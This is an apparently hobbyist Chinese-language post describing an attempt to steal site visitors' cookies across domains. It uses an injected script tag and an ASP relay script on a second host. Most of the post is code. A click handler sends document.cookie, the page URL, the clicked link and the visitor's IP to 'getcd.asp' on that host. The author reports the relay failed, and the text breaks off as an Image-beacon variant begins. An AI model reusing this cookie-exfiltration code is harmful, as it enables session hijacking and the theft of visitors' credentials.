客戶端是不能ajax跨域,服務端是可以的,所以就研究了這個方向,我們怎麼調用遠程asp來跨域:
192.168.0.12上放的i.asp內容如下:
★
<script language="javascript" src="http://192.168.0.5/code1.asp"> </script>
<a href=http://www.sohu.com>aaaa</a>
<a href=http://www.sohu.com>bbb</a>
★
192.168.0.5上的code1.asp內容如下:
★
<%a=Request.ServerVariables("remote_addr")
Function GetBody(url)
On Error Resume Next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
If Request.QueryString("url")<>"" then
GetBody(Request.QueryString("url"))
End if
%>
var xmlHttp
function showHint(str)
{
if (str.length==0)
{
return;
}
xmlHttp=GetXmlHttpObject()
if (xmlHttp==null)
{
alert ("您的浏覽器不支持AJAX!");
return;
}
var url="http://192.168.0.5/code1.asp?url=http://192.168.0.5/getcd.asp";
url=url+"?var="+str;
xmlHttp.open("GET",url,true);
xmlHttp.send(null);
}
function GetXmlHttpObject()
{
var xmlHttp=null;
try
{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
// Internet Explorer
try
{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
document.onclick = function(e){
var e = e || event;
var element = e.target || e.srcElement;
if(element.tagName.toLowerCase() == "a"){
if(!element.getAttribute('visited'))
{
//alert(element.href);
showHint(element.href+location.href+encodeURI(document.cookie)+'<%=a%>');
element.setAttribute('visited', true);
}
}
}
★
思路上是i.asp這個跨站頁面調用了code1.asp後,這個code1.asp是一個服務端腳本,算個中間代理,裡邊的js代碼用xmlhttp提交給自己,自己再做個轉發,轉發給getcd.asp,事實證明不成功!!!,唉!!!!說明了js被遠程調用後,已經不在原來文件域了,就算是寫在asp的服務端腳本也不行。
如果把ocde1.asp改成如下代碼,不過就不存在跨域概念了,就是脫庫子放屁了:
<%a=Request.ServerVariables("remote_addr")
Function GetBody(url)
On Error Resume Next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
If Request.QueryString("url")<>"" then
GetBody(Request.QueryString("url"))
End if
%>
document.onclick = function(e){
var img = new Image();